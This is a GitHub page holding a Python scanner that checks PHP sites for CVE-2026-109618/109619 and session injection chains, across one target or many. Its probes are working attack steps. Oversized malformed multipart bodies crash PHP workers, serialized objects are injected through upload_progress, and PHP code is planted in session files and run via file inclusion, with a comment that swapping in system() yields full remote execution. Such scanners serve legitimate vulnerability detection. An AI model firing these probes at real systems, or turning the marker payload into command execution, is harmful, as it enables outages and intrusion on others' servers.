Repository navigation
Expand file tree
/
Copy pathphp2shellbt.py
More file actions
783 lines (671 loc) · 31.1 KB
/
Copy pathphp2shellbt.py
File metadata and controls
783 lines (671 loc) · 31.1 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
#!/usr/bin/env python3
"""
php2shell vulnerability checker
Checks for CVE-2026-109618, CVE-2026-109619 and the php2shell session chains.
Usage:
python3 php2shellbt.py https://target.com
python3 php2shellbt.py https://target.com --lfi "/vuln.php?page="
python3 php2shellbt.py https://target.com --write-path /upload.php --read-path /api/data.php
python3 php2shellbt.py https://target.com --all --lfi "/vuln.php?page=" --session-path /tmp/sessions/sess_
"""
import argparse
import random
import re
import string
import sys
import urllib.request
import urllib.parse
import ssl
import json
from functools import lru_cache
from typing import Dict, List, Optional, Tuple
from urllib.parse import urlsplit, urlunsplit
# ── constants (merged from scanner.py) ───────────────────────────────────────
NESTED_KEYS = 62
PROBES = ((1, 4000), (8, 1020), (20, 1020))
CONTROL_BOUNDARY = "x"
CONTROL_BODY = b"--x\nContent-Disposition:name=a;filename=\n\n"
PROBE_BOUNDARY = ""
REJECTED_STATUSES = {400, 403, 411, 413, 414, 417, 422, 429, 431}
FIXED_VERSIONS = {(8, 2): 35, (8, 3): 36, (8, 4): 27, (8, 5): 12}
VERSION_PATTERN = re.compile(r"PHP/(\d+)\.(\d+)\.(\d+)")
PHPMYADMIN_PATH = "/show_config_errors.php"
PHPMYADMIN_MARKER = b"phpMyAdmin"
BODY_READ_LIMIT = 1 << 20 # 1 MiB
# ── helpers ───────────────────────────────────────────────────────────────────
RESET = "\033[0m"
RED = "\033[91m"
GREEN = "\033[92m"
YELLOW = "\033[93m"
CYAN = "\033[96m"
BOLD = "\033[1m"
def rand_base(n=12):
return ''.join(random.choices(string.ascii_letters + string.digits, k=n))
def color(text, c): return f"{c}{text}{RESET}"
def ok(msg): print(color(f"[+] {msg}", GREEN))
def warn(msg): print(color(f"[!] {msg}", YELLOW))
def err(msg): print(color(f"[-] {msg}", RED))
def info(msg): print(color(f"[*] {msg}", CYAN))
def request(url, method="GET", data=None, headers=None, timeout=10):
"""Returns (status, headers_dict, body_bytes). body is bytes, None on network error."""
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
req = urllib.request.Request(url, data=data, method=method)
if headers:
for k, v in headers.items():
req.add_header(k, v)
req.add_header("User-Agent", "Mozilla/5.0 php2shell-checker/1.0")
try:
with urllib.request.urlopen(req, timeout=timeout, context=ctx) as r:
body = r.read(BODY_READ_LIMIT)
resp_headers = dict(r.headers)
status = r.status
except urllib.error.HTTPError as e:
body = e.read(BODY_READ_LIMIT)
resp_headers = dict(e.headers)
status = e.code
except Exception as e:
return None, {}, str(e).encode()
return status, resp_headers, body
def multipart_body(boundary, fields):
"""Build a raw multipart/form-data body."""
lines = []
for name, value, filename, ctype in fields:
lines.append(f"------{boundary}".encode())
if filename:
lines.append(
f'Content-Disposition: form-data; name="{name}"; filename="{filename}"'.encode()
)
lines.append(f"Content-Type: {ctype}".encode())
else:
lines.append(f'Content-Disposition: form-data; name="{name}"'.encode())
lines.append(b"")
lines.append(value.encode() if isinstance(value, str) else value)
lines.append(f"------{boundary}--".encode())
return b"\r\n".join(lines)
def as_bytes(value) -> bytes:
if isinstance(value, bytes):
return value
if isinstance(value, str):
return value.encode("utf-8", errors="replace")
return b""
def as_str(value) -> str:
if isinstance(value, bytes):
return value.decode("utf-8", errors="replace")
return value or ""
def get_header(headers: dict, name: str) -> str:
return headers.get(name) or headers.get(name.lower()) or ""
# ── probe building & verdict logic (from scanner.py) ─────────────────────────
@lru_cache(maxsize=len(PROBES))
def build_probe_body(size_mib: int, parts: int) -> bytes:
"""Build a large malformed multipart body with deeply nested array keys."""
size = size_mib << 20
name = b"a[]" + (b"[a]" * NESTED_KEYS)
part = b"--\nContent-Disposition:name=" + name + b";filename=\n\n"
base = part * parts
if size < len(base):
raise ValueError(
f"php2shell probe of {size} bytes cannot hold {parts} parts ({len(base)} bytes)"
)
filler = (size - len(base)) // 3
body = b"--\n" + (b"x:\n" * filler) + base[3:]
return body[:-1]
def version_verdict(powered_by: str) -> Optional[str]:
"""Return 'FIXED', 'VULNERABLE', or None if version unknown/not in patch table."""
match = VERSION_PATTERN.search(powered_by)
if not match:
return None
major, minor, patch = (int(v) for v in match.groups())
fixed_patch = FIXED_VERSIONS.get((major, minor))
if fixed_patch is None:
return None
return "FIXED" if patch >= fixed_patch else "VULNERABLE"
def crash_signal(
ctrl_status: Optional[int],
ctrl_body: bytes,
probe_status: Optional[int],
probe_body: bytes,
sapi: str,
) -> Tuple[Optional[str], Optional[str]]:
"""Detect crash signals by comparing probe vs control response."""
if (
b"Allowed memory size of " in probe_body
and b" bytes exhausted" in probe_body
and b"Unknown" in probe_body
):
mode = (
"PHP-FPM" if sapi == "fpm"
else "mod_php" if sapi == "mod_php"
else "mod_php/PHP-FPM"
)
return (
mode,
"in-band PHP fatal error (memory exhausted in Unknown) while parsing multipart body",
)
if probe_status == 500 and ctrl_body and not probe_body:
mode = (
"PHP-FPM" if sapi == "fpm"
else "mod_php" if sapi == "mod_php"
else "mod_php/PHP-FPM"
)
return (
mode,
"HTTP 500 with empty body although the control request produced output",
)
if sapi == "mod_php":
return None, None
if probe_status in (502, 503, 504):
return (
"PHP-FPM",
f"HTTP {probe_status} from the web server fronting PHP-FPM (worker died mid-request)",
)
if probe_status == 200 and ctrl_body and not probe_body:
return (
"PHP-FPM",
"HTTP 200 with empty body although the control request produced output (worker died mid-request)",
)
return None, None
# ── checks ────────────────────────────────────────────────────────────────────
def check_php_fingerprint(base_url, timeout=10):
"""CVE-2026-109619 — version fingerprint via X-Powered-By."""
print()
info("CHECK 1 — CVE-2026-109619: PHP version fingerprint (var_destroy UAF)")
status, headers, body = request(base_url, timeout=timeout)
if status is None:
err(f"Request failed: {as_str(body)}")
return False
xpb = get_header(headers, "X-Powered-By")
match = VERSION_PATTERN.search(xpb)
if not match:
warn("X-Powered-By header not present or does not expose PHP version.")
warn("Site may not be PHP or header is hidden — CVE-2026-109619 inconclusive.")
return False
version = match.group(0).replace("PHP/", "")
parts = tuple(int(x) for x in version.split("."))
info(f"PHP version detected: {BOLD}{version}{RESET}")
verdict = version_verdict(xpb)
if verdict == "VULNERABLE":
major = parts[0]
if major == 5:
warn(f"PHP {version} (5.x): Sury backported packages may carry the fix.")
warn(" Sury 5.6.40-104+ ships the patches — verify the package version manually.")
ok(f"VULNERABLE — PHP {version} is in the affected range for CVE-2026-109619.")
ok(" Impact: var_destroy use-after-free reachable via unserialize() + destructor gadget.")
return True
elif verdict == "FIXED":
info(f"PHP {version} is a patched release.")
return False
else:
warn(f"PHP {version} branch not in known patch table — cannot determine status.")
return False
def check_crash_probe(base_url, sapi="auto", timeout=60):
"""
CVE-2026-109618/109619 — crash-probe detection (main method from scanner.py).
Sends a control request, then large malformed multipart probes, and looks
for crash signals in the difference between responses.
Returns (vulnerable: bool, final_url: str).
"""
print()
info("CHECK 2 — CVE-2026-109618/109619: multipart crash-probe detection")
target_url = base_url
# Control request — minimal valid multipart
info(" Sending control request...")
ctrl_status, ctrl_hdrs, ctrl_body = request(
target_url, method="POST",
data=CONTROL_BODY,
headers={
"Content-Type": f"multipart/form-data; boundary={CONTROL_BOUNDARY}",
"Content-Length": str(len(CONTROL_BODY)),
},
timeout=timeout,
)
if ctrl_status is None:
err(f"Control request failed: {as_str(ctrl_body)}")
return False, target_url
if ctrl_status >= 500:
warn(f"Control request returned HTTP {ctrl_status} — target may already be unstable.")
return False, target_url
# phpMyAdmin auto-detection → retarget to show_config_errors.php
if PHPMYADMIN_MARKER in as_bytes(ctrl_body):
parsed = urlsplit(target_url)
target_url = urlunsplit((parsed.scheme, parsed.netloc, PHPMYADMIN_PATH, "", ""))
info(f" phpMyAdmin detected — retargeting to {target_url}")
ctrl_status, ctrl_hdrs, ctrl_body = request(
target_url, method="POST",
data=CONTROL_BODY,
headers={
"Content-Type": f"multipart/form-data; boundary={CONTROL_BOUNDARY}",
"Content-Length": str(len(CONTROL_BODY)),
},
timeout=timeout,
)
if ctrl_status is None:
err(f"phpMyAdmin control request failed: {as_str(ctrl_body)}")
return False, target_url
powered_by = get_header(ctrl_hdrs, "X-Powered-By")
ctrl_body_b = as_bytes(ctrl_body)
# Pre-cache all probe bodies before the scan loop
for probe in PROBES:
build_probe_body(*probe)
for index, (size_mib, parts) in enumerate(PROBES, start=1):
info(f" Probe {index}/{len(PROBES)}: {size_mib} MiB, {parts} parts, {NESTED_KEYS} nested keys...")
try:
probe_data = build_probe_body(size_mib, parts)
except ValueError as exc:
warn(f" Probe {index} build failed: {exc}")
continue
probe_status, probe_hdrs, probe_body = request(
target_url, method="POST",
data=probe_data,
headers={
"Content-Type": f"multipart/form-data; boundary={PROBE_BOUNDARY}",
"Content-Length": str(len(probe_data)),
},
timeout=timeout,
)
# Update X-Powered-By from probe response if available
pb = get_header(probe_hdrs, "X-Powered-By")
if pb:
powered_by = pb
if probe_status is None:
warn(f" Probe {index} failed to get a response: {as_str(probe_body)}")
info(" (network error during probe could indicate a crash — treat as inconclusive)")
continue
if probe_status in REJECTED_STATUSES:
warn(f" Probe {index} rejected with HTTP {probe_status} — WAF/proxy body size limit.")
break
detected_sapi, signal = crash_signal(
ctrl_status, ctrl_body_b,
probe_status, as_bytes(probe_body),
sapi,
)
if signal:
ok(f"VULNERABLE — probe {index} ({size_mib} MiB, {parts} parts) crashed the request handler!")
ok(f" SAPI: {detected_sapi}")
ok(f" Signal: {signal}")
ok(" CVE-2026-109618 / CVE-2026-109619 confirmed.")
return True, target_url
# Early exit if version reports fixed
if powered_by and version_verdict(powered_by) == "FIXED":
info(f" No crash on probe {index} and X-Powered-By reports patched release: {powered_by}")
return False, target_url
# Post-loop version check
if powered_by:
verdict = version_verdict(powered_by)
if verdict == "VULNERABLE":
warn(f" No crash signal observed but X-Powered-By reports unpatched release: {powered_by}")
warn(" Crash may have been masked by error suppression — verify manually.")
elif verdict == "FIXED":
info(f" No crash observed and X-Powered-By reports patched release: {powered_by}")
else:
info(f" No crash signal. X-Powered-By: {powered_by}")
else:
info(" No crash signal detected and no PHP version advertised.")
return False, target_url
def check_session_fixation(base_url, timeout=10):
"""CVE-2026-109618 — session upload_progress warning-based indicator check."""
print()
info("CHECK 2b — CVE-2026-109618: session.upload_progress warning indicators (display_errors=On)")
marker = rand_base(12)
sid_bad = f"nuclei/{rand_base(20)}"
boundary = f"NucleiCVE{marker}"
fields = [
("PHPSESSID", sid_bad, None, ""),
("PHP_SESSION_UPLOAD_PROGRESS", marker, None, ""),
("f", "Z", f"{marker}.txt", "text/plain"),
]
body_bytes = multipart_body(boundary, fields)
hdrs = {
"Content-Type": f"multipart/form-data; boundary=----{boundary}",
"Content-Length": str(len(body_bytes)),
}
status, resp_headers, body = request(base_url, method="POST",
data=body_bytes, headers=hdrs, timeout=timeout)
if status is None:
err(f"Request failed: {as_str(body)}")
return False
body_str = as_str(body)
indicator_a = "Session ID is too long or contains illegal characters" in body_str
indicator_b = ("Failed to read session data" in body_str or
"PHP Request Startup" in body_str)
if indicator_a and indicator_b:
ok("VULNERABLE — PHP printed session-startup warnings, confirming upload_progress UAF/OOM path.")
ok(" CVE-2026-109618: use-after-free / OOM triggered via upload_progress error path.")
ok(" Chain: upload_progress injection → session file write → LFI → RCE (if cleanup=Off).")
return True
elif indicator_a:
warn("Partial match — session ID warning triggered but no startup error visible.")
warn("display_errors may be Off. Vulnerability may still exist — check via crash-probe.")
return False
else:
info("No CVE-2026-109618 warning indicators found.")
info("(display_errors=Off hides warnings even on vulnerable hosts — see CHECK 2 results.)")
return False
def check_handler_mismatch(base_url, write_path, read_path, timeout=10, _quiet=False):
"""php2shell handler mismatch — session deserializer confusion."""
if not _quiet:
print()
info("CHECK 3 — php2shell-handler-mismatch: session.serialize_handler confusion")
info(f" write_path = {write_path} | read_path = {read_path}")
marker = rand_base(10)
sid = f"nuclei{rand_base(24)}"
# Request 1: write a serialized object via php_serialize endpoint
boundary_w = f"NucleiWrite{marker}"
fields_w = [
("PHPSESSID", sid, None, ""),
("PHP_SESSION_UPLOAD_PROGRESS", marker, None, ""),
("f", "Z", f'x|O:8:"stdClass":0:{{}}', "text/plain"),
]
body_w = multipart_body(boundary_w, fields_w)
hdrs_w = {
"Content-Type": f"multipart/form-data; boundary=----{boundary_w}",
"Content-Length": str(len(body_w)),
"Cookie": f"PHPSESSID={sid}",
}
write_url = base_url.rstrip("/") + write_path
status_w, _, body_w_resp = request(write_url, method="POST",
data=body_w, headers=hdrs_w, timeout=timeout)
if status_w is None:
err(f"Write request failed: {as_str(body_w_resp)}")
return False
# Request 2: read session with php (non-serialize) endpoint to trigger deserializer confusion
boundary_r = f"NucleiRead{marker}"
fields_r = [
("PHPSESSID", sid, None, ""),
("PHP_SESSION_UPLOAD_PROGRESS", marker, None, ""),
("f", "Z", "dummy.txt", "text/plain"),
]
body_r = multipart_body(boundary_r, fields_r)
hdrs_r = {
"Content-Type": f"multipart/form-data; boundary=----{boundary_r}",
"Content-Length": str(len(body_r)),
"Cookie": f"PHPSESSID={sid}",
}
read_url = base_url.rstrip("/") + read_path
status_r, _, body_r_resp = request(read_url, method="POST",
data=body_r, headers=hdrs_r, timeout=timeout)
if status_r is None:
err(f"Read request failed: {as_str(body_r_resp)}")
return False
body_r_str = as_str(body_r_resp)
indicator_a = "Failed to decode session object" in body_r_str
indicator_b = "Session object destruction failed" in body_r_str
if indicator_a or indicator_b:
ok("VULNERABLE — handler mismatch deserialization error detected!")
ok(" Destructor fires during error path — POP gadget can yield RCE.")
ok(" Related CVE: CVE-2026-109618 / CVE-2026-109619.")
return True
else:
info("No handler-mismatch indicators found.")
info("Requires display_errors=On and endpoints with different serialize_handler settings.")
return False
def check_session_lfi(base_url, lfi_path, session_save_path, timeout=10, _quiet=False):
"""php2shell session injection + LFI chain."""
if not _quiet:
print()
info("CHECK 4 — php2shell-session-injection-lfi: session file injection + LFI")
info(f" lfi_path = {lfi_path}")
info(f" session_path = {session_save_path}")
marker = f"NUCLEI{rand_base(10)}"
sid = f"nuclei{rand_base(24)}"
upload_boundary = f"Nuclei{marker}"
php_payload = f"<?php echo '{marker}'; ?>"
fields = [
("PHPSESSID", sid, None, ""),
("PHP_SESSION_UPLOAD_PROGRESS", marker, None, ""),
("f", "Z", php_payload, "text/plain"),
]
body_bytes = multipart_body(upload_boundary, fields)
hdrs = {
"Content-Type": f"multipart/form-data; boundary=----{upload_boundary}",
"Content-Length": str(len(body_bytes)),
"Cookie": f"PHPSESSID={sid}",
}
status1, _, body1 = request(base_url, method="POST", data=body_bytes, headers=hdrs, timeout=timeout)
if status1 is None:
err(f"Upload request failed: {as_str(body1)}")
return False
session_file = f"{session_save_path}{sid}"
lfi_url = base_url.rstrip("/") + lfi_path + urllib.parse.quote(session_file)
status2, _, body2 = request(lfi_url, timeout=timeout)
if status2 is None:
err(f"LFI request failed: {as_str(body2)}")
return False
if marker in as_str(body2):
ok("VULNERABLE — marker echoed back through LFI!")
ok(f" PHP payload in session file was executed: {php_payload}")
ok(" Full RCE achievable by replacing echo with system()/passthru().")
return True
else:
info("Marker not found in LFI response.")
info("LFI path may be wrong, session.upload_progress.cleanup=On, or use_strict_mode=On.")
return False
# ── summary ───────────────────────────────────────────────────────────────────
def print_banner(target):
print(color("""
╔══════════════════════════════════════════════════════════════╗
║ php2shell vulnerability checker ║
║ CVE-2026-109618 · CVE-2026-109619 · handler-mismatch · LFI ║
╚══════════════════════════════════════════════════════════════╝""", CYAN))
print(f" Target : {BOLD}{target}{RESET}")
print()
def print_summary(results):
print()
print(color("══════════════ RESULTS ══════════════", BOLD))
labels = {
"cve109619": "CVE-2026-109619 (version fingerprint / var_destroy UAF)",
"cve109618_crash": "CVE-2026-109618/109619 (crash-probe — main detection)",
"cve109618_warn": "CVE-2026-109618 (session upload_progress warnings)",
"handler": "php2shell handler mismatch object injection",
"session_lfi": "php2shell session injection + LFI chain",
}
found = 0
for key, label in labels.items():
if key not in results:
continue
v = results[key]
if v is True:
print(f" {GREEN}VULNERABLE{RESET} {label}")
found += 1
elif v is False:
print(f" {YELLOW}NOT FOUND {RESET} {label}")
else:
print(f" {YELLOW}SKIPPED {RESET} {label}")
print()
if found:
print(color(f" ⚠ {found} vulnerability/ies confirmed — remediate immediately.", RED + BOLD))
else:
print(color(" ✓ No php2shell vulnerabilities confirmed.", GREEN))
print()
# ── scan orchestration ────────────────────────────────────────────────────────
def scan_target(target, args):
"""Run all configured checks against a single target. Returns results dict."""
print_banner(target)
results = {}
# Check 1: version fingerprint
results["cve109619"] = check_php_fingerprint(target, timeout=args.timeout)
# Check 2: crash-probe (main detection method, from scanner.py)
crash_vuln, final_url = check_crash_probe(target, sapi=args.sapi, timeout=args.probe_timeout)
results["cve109618_crash"] = crash_vuln
# Check 2b: warning-indicator fallback (only useful with display_errors=On)
results["cve109618_warn"] = check_session_fixation(target, timeout=args.timeout)
# Check 3: handler mismatch
handler_pairs = getattr(args, '_handler_pairs', None)
run_handler = args.all or handler_pairs or (
args.write_path != "/app/upload.php" or args.read_path != "/api/endpoint.php"
)
if run_handler:
pairs = handler_pairs or [(args.write_path, args.read_path)]
print()
info(f"CHECK 3 — php2shell-handler-mismatch: testing {len(pairs)} path pair(s)")
hit = False
for wp, rp in pairs:
r = check_handler_mismatch(target, wp, rp, timeout=args.timeout, _quiet=True)
if r:
hit = True
break
results["handler"] = hit
else:
print()
info("CHECK 3 — handler mismatch: SKIPPED (use --all or --handler-pairs to enable)")
results["handler"] = None
# Check 4: session LFI
lfi_paths = getattr(args, '_lfi_paths', None)
session_paths = getattr(args, '_session_paths', None)
run_lfi = lfi_paths or args.lfi
if run_lfi:
lfis = lfi_paths or [args.lfi]
sesps = session_paths or [args.session_path]
total_combos = len(lfis) * len(sesps)
print()
info(f"CHECK 4 — session-injection-lfi: testing {total_combos} combination(s) "
f"({len(lfis)} LFI path(s) x {len(sesps)} session path(s))")
hit = False
for lp in lfis:
if hit:
break
for sp in sesps:
r = check_session_lfi(target, lp, sp, timeout=args.timeout, _quiet=True)
if r:
hit = True
break
results["session_lfi"] = hit
else:
print()
info("CHECK 4 — session injection LFI: SKIPPED (use --lfi or --lfi-list to enable)")
results["session_lfi"] = None
return results
# ── CLI ───────────────────────────────────────────────────────────────────────
def main():
parser = argparse.ArgumentParser(
description="php2shell checker — CVE-2026-109618/109619 and session chains",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
examples:
Single target:
python3 php2shellbt.py https://target.com
Multiple targets from file:
python3 php2shellbt.py --targets targets.txt
With LFI (adds check 4):
python3 php2shellbt.py https://target.com --lfi "/vuln.php?page=" --session-path /tmp/sessions/sess_
With handler-mismatch paths (adds check 3):
python3 php2shellbt.py https://target.com --write-path /upload.php --read-path /api/data.php
Full suite against a list:
python3 php2shellbt.py --targets targets.txt --all \\
--lfi "/vuln.php?page=" --session-path /tmp/sessions/sess_ \\
--write-path /upload.php --read-path /api/data.php
Force FPM crash signal rules:
python3 php2shellbt.py https://target.com --sapi fpm --probe-timeout 90
""")
parser.add_argument("target", nargs="?",
help="Base URL of a single target (e.g. https://example.com)")
parser.add_argument("--targets", metavar="FILE",
help="Text file with one target URL per line")
parser.add_argument("--all", action="store_true",
help="Run all checks (enables checks 3 and 4 with provided paths)")
parser.add_argument("--lfi", metavar="PATH",
help='Single LFI parameter path, e.g. "/vuln.php?page="')
parser.add_argument("--lfi-list", metavar="FILE",
help="File with one LFI path per line (tries each, stops on first hit)")
parser.add_argument("--session-path", metavar="PATH", default="/tmp/sessions/sess_",
help="PHP session save path prefix (default: /tmp/sessions/sess_)")
parser.add_argument("--session-paths-list", metavar="FILE",
help="File with one session save path prefix per line")
parser.add_argument("--write-path", metavar="PATH", default="/app/upload.php",
help="Endpoint with session.serialize_handler=php_serialize")
parser.add_argument("--read-path", metavar="PATH", default="/api/endpoint.php",
help="Endpoint with session.serialize_handler=php")
parser.add_argument("--handler-pairs", metavar="FILE",
help="File with write_path,read_path pairs (one per line) for check 3")
parser.add_argument("--timeout", type=int, default=10,
help="Request timeout in seconds for light requests (default: 10)")
parser.add_argument("--probe-timeout", type=int, default=60,
help="Timeout for large crash-probe requests in seconds (default: 60)")
parser.add_argument("--sapi", choices=("auto", "mod_php", "fpm"), default="auto",
help="SAPI mode for crash signal interpretation (default: auto)")
parser.add_argument("--json", action="store_true",
help="Output results as JSON")
args = parser.parse_args()
# Build target list
targets = []
if args.targets:
try:
with open(args.targets, "r", encoding="utf-8") as fh:
for line in fh:
line = line.strip()
if line and not line.startswith("#"):
targets.append(line.rstrip("/"))
except OSError as e:
err(f"Cannot read targets file: {e}")
sys.exit(2)
if not targets:
err("Targets file is empty or contains only comments.")
sys.exit(2)
elif args.target:
targets.append(args.target.rstrip("/"))
else:
parser.error("Provide a target URL or --targets FILE")
def _load_lines(path):
try:
with open(path, "r", encoding="utf-8") as fh:
return [l.strip() for l in fh if l.strip() and not l.startswith("#")]
except OSError as e:
err(f"Cannot read file {path}: {e}")
sys.exit(2)
if args.lfi_list:
args._lfi_paths = _load_lines(args.lfi_list)
info(f"LFI list loaded: {len(args._lfi_paths)} path(s)")
elif args.lfi:
args._lfi_paths = [args.lfi]
else:
args._lfi_paths = None
if args.session_paths_list:
args._session_paths = _load_lines(args.session_paths_list)
info(f"Session-paths list loaded: {len(args._session_paths)} path(s)")
else:
args._session_paths = None
if args.handler_pairs:
raw_pairs = _load_lines(args.handler_pairs)
args._handler_pairs = []
for line in raw_pairs:
if ',' in line:
wp, rp = line.split(',', 1)
args._handler_pairs.append((wp.strip(), rp.strip()))
info(f"Handler pairs loaded: {len(args._handler_pairs)} pair(s)")
else:
args._handler_pairs = None
all_results = {}
any_vuln = False
for i, target in enumerate(targets, 1):
if len(targets) > 1:
print(color(f"\n{'━'*62}", CYAN))
print(color(f" TARGET {i}/{len(targets)}: {target}", BOLD))
print(color(f"{'━'*62}", CYAN))
results = scan_target(target, args)
all_results[target] = results
if any(v is True for v in results.values()):
any_vuln = True
if args.json:
out = {k: ("VULNERABLE" if v is True else "NOT_FOUND" if v is False else "SKIPPED")
for k, v in results.items()}
print(json.dumps({"target": target, "results": out}, indent=2))
else:
print_summary(results)
if len(targets) > 1 and not args.json:
print(color("══════════════ MULTI-TARGET SUMMARY ══════════════", BOLD))
for t, res in all_results.items():
vuln_count = sum(1 for v in res.values() if v is True)
status = color("VULNERABLE", RED + BOLD) if vuln_count else color("CLEAN", GREEN)
print(f" {status} {t} ({vuln_count} finding(s))")
print()
if len(targets) > 1 and args.json:
combined = {
t: {k: ("VULNERABLE" if v is True else "NOT_FOUND" if v is False else "SKIPPED")
for k, v in res.items()}
for t, res in all_results.items()
}
print(json.dumps({"targets": combined}, indent=2))
sys.exit(1 if any_vuln else 0)
if __name__ == "__main__":
main()